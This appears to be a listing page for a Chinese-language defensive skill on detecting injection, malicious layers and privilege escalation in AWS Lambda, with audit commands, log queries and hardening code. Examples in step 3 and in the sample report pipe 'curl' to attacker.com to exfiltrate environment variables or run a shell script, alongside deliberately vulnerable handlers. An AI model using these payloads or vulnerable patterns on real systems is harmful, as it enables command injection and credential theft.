关于 detecting-serverless-function-injection
用于审查无服务器函数及云端活动的安全技能,关注代码注入、恶意层变更和 Lambda 权限提升路径,并指导分析人员扫描代码、检查事件源和查询 AWS 日志。
主要功能
- 01梳理 Lambda 触发器与权限
- 02扫描代码中的注入入口
- 03检查事件源投毒风险
- 04审计 Lambda 层变更
- 05检测 IAM 权限提升活动
适用场景
- 01发布前审计 Lambda 代码
- 02调查可疑函数变更
- 03检查事件载荷注入风险
- 04监控 AWS 中的权限提升
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill detecting-serverless-function-injection安装后在 Claude Code 中输入/detecting-serverless-function-injection确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
检测无服务器函数注入
适用场景
- 审计 Lambda/Cloud Functions,查找代码注入漏洞:未经清理的事件数据流入危险的运行时函数(
eval、exec、child_process.exec、os.system) - 调查攻击者修改函数代码或层,以在无服务器环境中建立持久化或窃取数据的事件
- 检测权限提升路径:具有
lambda:UpdateFunctionCode和iam:PassRole权限的对手可能接管权限更高的执行角色 - 分析事件源投毒攻击:攻击者通过 S3 对象上传、SQS 消息、DynamoDB 流记录或 API Gateway 请求注入恶意负载,触发函数执行
- 为 SOC 团队构建检测规则,监控无服务器工作负载中的未授权函数修改、层添加和可疑调用模式
请勿用于 对无服务器函数进行负载测试或拒绝服务模拟;未经明确授权,不要针对处理实时客户数据的生产函数进行测试;未经变更管理审批,不要修改共享账户中的 IAM 策略。
前提条件
- 具备 AWS 账户访问权限,并拥有 Lambda、CloudTrail、IAM、CloudWatch Logs 和 EventBridge 的读取权限
- 已配置适当凭证和区域的 AWS CLI v2
- 已启用 CloudTrail,并为 Lambda 启用数据事件(捕获
Invoke事件)和管理事件(捕获UpdateFunctionCode、UpdateFunctionConfiguration、CreateFunction) - Python 3.9+,以及用于静态分析的
boto3、bandit(Python SAST)和semgrep - 可访问用于静态分析的函数源代码或部署包
- 拥有 CloudWatch Logs Insights 访问权限,可查询 Lambda 执行日志
工作流
步骤 1:枚举无服务器攻击面
梳理所有 Lambda 函数及其事件源触发器,以了解注入入口:
- 列出所有 Lambda 函数及其配置:
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table - 梳理事件源映射:每个事件源映射都可能成为注入入口,使不可信数据进入函数:
aws lambda list-event-source-mappings --output json | \ jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}' - 识别 API Gateway 触发器:API Gateway 路由会将 HTTP 请求数据(标头、查询字符串、请求正文、路径参数)直接传入 Lambda 事件对象:
针对每个 API,枚举资源和方法,以确定哪些 Lambda 函数会接收用户可控的 HTTP 输入。aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table - 识别 S3 事件触发器:S3 存储桶通知可以通过攻击者可控的对象键和元数据触发 Lambda:
aws s3api get-bucket-notification-configuration --bucket <bucket-name> - 汇总函数环境变量:如果攻击者在函数内实现代码执行,环境变量中的机密信息就会暴露:
aws lambda get-function-configuration --function-name <name> \ --query 'Environment.Variables' --output json - 识别权限过高的执行角色:拥有
*资源权限或管理策略的函数是高价值的权限提升目标:aws iam list-attached-role-policies --role-name <lambda-exec-role> aws iam list-role-policies --role-name <lambda-exec-role>
步骤 2:对注入汇点进行静态分析
扫描函数代码,查找可能让注入的事件数据作为代码或命令执行的危险模式:
-
下载函数部署包:
aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip unzip function.zip -d function_code/ -
Python 注入汇点(Lambda Python 运行时):搜索会将字符串作为代码执行的函数:
# DANGEROUS: Direct eval/exec of event data eval(event['expression']) # Code injection via eval exec(event['code']) # Arbitrary code execution os.system(event['command']) # OS command injection subprocess.call(event['cmd'], shell=True) # Shell injection os.popen(event['input']) # Command injection pickle.loads(event['data']) # Deserialization attack yaml.load(event['config']) # YAML deserialization (unsafe loader) -
Node.js 注入汇点(Lambda Node.js 运行时):
// DANGEROUS: Direct execution of event data eval(event.expression); // Code injection new Function(event.code)(); // Dynamic function creation child_process.exec(event.command); // OS command injection child_process.execSync(event.cmd); // Synchronous command injection vm.runInNewContext(event.script); // Sandbox escape potential require('child_process').exec(event.input); // Import-and-execute pattern -
使用无服务器规则运行 Semgrep:使用专用规则检测流入注入汇点的事件数据:
semgrep --config "p/owasp-top-ten" --config "p/command-injection" \ --config "p/python-security" function_code/ --json --output semgrep_results.json -
对 Python 函数运行 Bandit:
bandit -r function_code/ -f json -o bandit_results.json \ -t B102,B301,B307,B602,B603,B604,B605,B606,B607这些测试 ID 专门针对
exec、pickle、eval、带shell=True的subprocess,以及其他与注入相关的模式。 -
自定义模式检测:搜索间接注入模式,例如将事件数据拼接到字符串中,之后再执行这些字符串:
# Indirect injection: event data flows into SQL query string query = f"SELECT * FROM users WHERE id = '{event['userId']}'" cursor.execute(query) # SQL injection # Indirect injection: event data flows into template rendering template = event['template'] rendered = jinja2.Template(template).render() # SSTI
步骤 3:检测事件源投毒
分析事件源中是否存在利用 Lambda 处理触发器方式的注入载荷:
-
S3 事件键注入:Lambda 函数处理 S3 事件时,事件记录中的对象键可能包含注入载荷。攻击者上传一个名称带有恶意内容的对象:
# Vulnerable Lambda handler def handler(event, context): bucket = event['Records'][0]['s3']['bucket']['name'] key = event['Records'][0]['s3']['object']['key'] # VULNERABLE: key is attacker-controlled os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")攻击:上传一个键为
; curl http://attacker.com/exfil?data=$(env)的对象,通过 S3 事件注入命令。 -
SQS 消息正文注入:Lambda 处理正文包含攻击者控制数据的 SQS 消息:
# Vulnerable Lambda handler def handler(event, context): for record in event['Records']: message = json.loads(record['body']) # VULNERABLE: message content used in eval result = eval(message['formula']) -
API Gateway 标头/参数注入:HTTP 请求数据经由 API Gateway 传入 Lambda 事件:
# Vulnerable Lambda handler def handler(event, context): user_agent = event['headers']['User-Agent'] # VULNERABLE: header value used in shell command subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True) -
DynamoDB Stream 记录注入:修改后的 DynamoDB 项目会以新的记录值触发 Lambda。如果攻击者可以向表中写入数据,就能控制事件数据:
# Vulnerable Lambda handler def handler(event, context): for record in event['Records']: new_image = record['dynamodb']['NewImage'] config = new_image['config']['S'] # VULNERABLE: DynamoDB record value used in exec exec(config) -
通过 CloudWatch Logs Insights 检测:查询函数执行日志,查找注入尝试的证据:
fields @timestamp, @message | filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/ | filter @message like /(?i)(error|exception|traceback|syntax)/ | sort @timestamp desc | limit 100
步骤 4:检测恶意 Lambda 层注入
识别未经授权的 Lambda 层,这些层可能拦截函数执行或窃取数据:
-
审计当前的层挂载情况:列出所有函数及其层版本,以识别意外添加的层:
aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json -
检测 CloudTrail 中的层修改事件:查询用于添加或更改层的
UpdateFunctionConfiguration事件:aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \ --start-time "2026-03-12T00:00:00Z" \ --end-time "2026-03-19T23:59:59Z" \ --query 'Events[*].[EventTime,Username,CloudTrailEvent]'解析
CloudTrailEventJSON,检查请求参数中的Layers是否被修改。 -
分析层内容:下载并检查层包中是否包含恶意代码:
aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \ --query 'Content.Location' --output text | xargs curl -o layer.zip unzip layer.zip -d layer_contents/ # Search for suspicious patterns grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/ -
层劫持迹象:恶意层可以通过在运行时搜索路径中放置文件来覆盖函数的运行时行为:
- Python:
/opt/python/中的层代码会优先于函数自身的模块导入 - Node.js:
/opt/nodejs/node_modules/中的层代码会覆盖函数依赖项 - 提供经过修改的
boto3包的层可以拦截所有 AWS API 调用、记录凭证,并将请求转发到攻击者控制的端点
- Python:
-
用于检测层变更的 CloudTrail 查询:
{ "source": ["aws.lambda"], "detail-type": ["AWS API Call via CloudTrail"], "detail": { "eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"], "errorCode": [{"exists": false}] } }
步骤 5:检测通过 Lambda 进行的 IAM 权限提升
识别攻击者通过修改函数来使用权限更高的角色的提升路径:
-
Lambda 权限提升模式:拥有
lambda:UpdateFunctionCode和iam:PassRole权限的攻击者可以:- 找到一个使用高权限执行角色(例如 AdministratorAccess)的 Lambda 函数
- 修改函数代码,使其调用
sts:GetCallerIdentity或执行特权操作 - 调用该函数,使其以高权限角色执行
- 从函数的环境变量(
AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN)中窃取该角色的临时凭证
-
检测 UpdateFunctionCode 事件:监控 CloudTrail 中的函数代码修改:
aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \ --start-time "2026-03-12T00:00:00Z" \ --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table -
检测向 Lambda 传递角色:将其他执行角色附加到函数需要
iam:PassRole权限。请监控此类操作:# CloudWatch Logs Insights on CloudTrail logs fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role | filter eventName = "UpdateFunctionConfiguration20150331v2" | filter ispresent(requestParameters.role) | sort eventTime desc -
检测从 Lambda 窃取凭证:遭到入侵的函数可能会调用 STS 或创建新的 IAM 实体:
fields eventTime, userIdentity.arn, eventName, sourceIPAddress | filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/ | filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy", "CreateAccessKey", "AssumeRole", "PutUserPolicy"] | sort eventTime desc -
用于实时告警的 EventBridge 规则:创建一条 EventBridge 规则,在函数代码被修改时触发 SNS 告警:
{ "source": ["aws.lambda"], "detail-type": ["AWS API Call via CloudTrail"], "detail": { "eventName": [ "UpdateFunctionCode20150331v2", "UpdateFunctionConfiguration20150331v2", "CreateFunction20150331" ], "errorCode": [{"exists": false}] } }
第 6 步:实施运行时注入防护
部署运行时保护控制措施,防止执行时发生注入:
-
处理程序入口处的输入验证:处理前验证并清理所有事件数据:
import re import json from functools import wraps SAFE_PATTERNS = { 'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'), 'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'), 'action': re.compile(r'^(get|list|create|update|delete)$'), } def validate_event(schema): """Decorator that validates Lambda event against a whitelist schema.""" def decorator(func): @wraps(func) def wrapper(event, context): for field, pattern in schema.items(): value = event.get(field, '') if isinstance(value, str) and not pattern.match(value): return { 'statusCode': 400, 'body': json.dumps({'error': f'Invalid {field}'}) } return func(event, context) return wrapper return decorator @validate_event(SAFE_PATTERNS) def handler(event, context): # Event data is validated before reaching this point user_id = event['userId'] # Safe to use in queries with parameterized statements return {'statusCode': 200, 'body': json.dumps({'user': user_id})} -
Lambda 函数 URL 授权:确保通过 URL 公开的函数要求 IAM 身份验证:
aws lambda get-function-url-config --function-name <name> \ --query 'AuthType' --output text # Must return "AWS_IAM", not "NONE" -
最小权限执行角色:将函数的 IAM 角色限制为所需的最低权限:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "dynamodb:GetItem", "dynamodb:PutItem" ], "Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable" }, { "Effect": "Allow", "Action": "logs:*", "Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*" } ] } -
用于防止危险 Lambda 修改的 SCP:在组织级别应用服务控制策略,以限制可修改 Lambda 函数和传递角色的人员:
{ "Version": "2012-10-17", "Statement": [ { "Sid": "DenyLambdaCodeUpdateExceptCICD", "Effect": "Deny", "Action": [ "lambda:UpdateFunctionCode", "lambda:UpdateFunctionConfiguration" ], "Resource": "*", "Condition": { "StringNotLike": { "aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole" } } } ] } -
用于结构化日志记录的 AWS Lambda Powertools:发出可供 SIEM 摄取的结构化安全事件:
from aws_lambda_powertools import Logger, Tracer from aws_lambda_powertools.utilities.validation import validate logger = Logger(service="payment-processor") tracer = Tracer() @logger.inject_lambda_context @tracer.capture_lambda_handler def handler(event, context): logger.info("Processing event", extra={ "source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'), "user_agent": event.get('headers', {}).get('User-Agent'), "http_method": event.get('httpMethod'), })
核心概念
| 术语 | 定义 |
|---|---|
| 事件源投毒 | 一种攻击,攻击者将恶意数据注入无服务器事件源(S3、SQS、DynamoDB Stream、API Gateway),以便在函数处理事件时触发代码执行或注入 |
| 函数注入 | 利用未经清理的事件数据流入无服务器函数处理程序中的危险运行时函数(eval、exec、os.system、child_process.exec) |
| Lambda 层劫持 | 一种攻击,攻击者将恶意 Lambda 层附加到函数,以拦截执行、覆盖依赖项,或通过将代码放入运行时的模块搜索路径来窃取数据 |
| 通过 Lambda 提升 IAM 权限 | 一种技术,攻击者利用 UpdateFunctionCode 和 PassRole 权限修改函数,使其以权限更高的 IAM 角色执行,并提取临时凭证 |
| OWASP 无服务器十大风险 | 一种安全框架,用于识别无服务器架构中最关键的十项风险,包括注入(SAS-1)、身份验证失效(SAS-2)和函数权限过高(SAS-6) |
| 冷启动注入 | 一种针对函数初始化阶段的攻击,此阶段会在处理程序运行前执行环境变量、层代码和扩展,且可能处于未监控的上下文中 |
| 执行角色 | Lambda 函数在执行期间担任的 IAM 角色,它提供临时凭证,用于定义函数访问 AWS API 的权限 |
工具与系统
- Semgrep:静态分析工具,提供针对无服务器环境的规则包,可检测事件数据在 Python、Node.js、Java 和 Go Lambda 运行时中流入注入接收点的情况
- Bandit:Python 专用 SAST 工具,可识别安全问题,包括使用 eval、exec、带有 shell=True 的 subprocess,以及 pickle 反序列化
- AWS CloudTrail:记录 Lambda 管理事件(UpdateFunctionCode、CreateFunction)和数据事件(Invoke),以检测未经授权的修改和异常调用模式
- CloudWatch Logs Insights:用于搜索 Lambda 执行日志的查询引擎,可查找注入尝试迹象、运行时错误和可疑命令模式
- AWS Config:根据合规规则评估 Lambda 函数配置,包括层清单、执行角色权限和函数 URL 授权类型
- Prowler:开源 AWS 安全评估工具,包含针对 Lambda 的检查项,用于检测公开访问、权限过高的角色以及缺失的加密
常见场景
场景:检测并响应基于 Lambda 的权限提升攻击
背景:一名 SOC 分析师收到 GuardDuty 警报,提示某个由多个 Lambda 函数使用的 IAM 角色存在 UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS。调查发现,攻击者入侵了一名开发人员的 AWS 凭证,该凭证具有 lambda:UpdateFunctionCode 权限,并修改了一个支付处理函数,以窃取执行角色的临时凭证。
处理方法:
- 查询过去 7 天内的 CloudTrail
UpdateFunctionCode事件,确定函数何时被修改以及修改者:fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress | filter eventName = "UpdateFunctionCode20150331v2" | filter requestParameters.functionName = "payment-processor" | sort eventTime desc - 发现该函数在 02:47 UTC 被从一个地理位置异常的 IP 地址修改,且该时间不在正常部署时段内
- 下载被修改的函数代码,发现其中插入了一段代码:每次调用时,都会将
os.environ['AWS_ACCESS_KEY_ID']、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKENPOST 到外部端点 - 查询包含层变更的
UpdateFunctionConfiguration事件,检查攻击者是否还添加了恶意层 - 验证函数的执行角色权限:支付处理器角色对所有资源都具有
dynamodb:*、s3:GetObject、s3:PutObject和sqs:SendMessage权限,超出了最小权限原则 - 在 CloudTrail 中搜索被窃取凭证发起的 AWS 外部 API 调用,发现了
sts:GetCallerIdentity、s3:ListBuckets、对客户表执行的dynamodb:Scan,以及iam:CreateUser尝试 - 通过从 CI/CD 构件存储中恢复最近一次已知正常部署包中的函数代码、轮换执行角色的会话令牌,并添加一条仅允许 CI/CD 角色执行
lambda:UpdateFunctionCode的 SCP 来响应事件
注意事项:
- 只检查函数代码,遗漏了即使函数代码恢复后仍会持续存在的恶意层
- 未搜索被窃取凭证对其他 AWS 服务的横向移动,因而遗漏了从 DynamoDB 或 S3 窃取数据的行为
- 未检查攻击者是否在凭证有效期间创建了新的 IAM 用户、访问密钥或角色
- 未先保留恶意代码作为取证证据,就恢复了函数
- 修复后未实施预防性控制措施(SCP、EventBridge 警报),导致相同的攻击路径仍然存在
输出格式
## Serverless Function Injection Assessment
**Account**: 111122223333
**Region**: us-east-1
**Functions Analyzed**: 47
**Event Source Mappings**: 23
**Assessment Date**: 2026-03-19
### Critical Findings
#### FINDING-001: OS Command Injection in S3 Event Handler
**Function**: image-resize-processor
**Runtime**: python3.12
**Severity**: Critical (CVSS 9.8)
**Sink**: os.system() at handler.py:34
**Source**: event['Records'][0]['s3']['object']['key']
**Attack Vector**: Upload S3 object with key containing shell metacharacters
**Proof of Concept**:
Object key: `; curl http://attacker.com/shell.sh | bash`
Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
**Remediation**: Replace os.system() with subprocess.run() with shell=False
and validate the S3 key against an allowlist pattern.
#### FINDING-002: IAM Privilege Escalation Path
**Function**: data-export-worker
**Execution Role**: arn:aws:iam::111122223333:role/DataExportRole
**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*
**Risk**: Any user with lambda:UpdateFunctionCode can modify this function
to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.
**Remediation**: Apply least privilege to the execution role, restrict
lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.
#### FINDING-003: Unauthorized Layer Attached
**Function**: auth-token-validator
**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3
**Layer Account**: External account (999888777666)
**Risk**: Layer from untrusted external account can intercept all function
invocations, modify responses, or exfiltrate environment variables.
**Remediation**: Remove the external layer, vendor the dependency into the
function's deployment package, add AWS Config rule to block external layers.
### Detection Rules Deployed
- EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals
- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes
- Config rule: Lambda functions must not have layers from external accounts
- Config rule: Lambda execution roles must not have wildcard resource permissions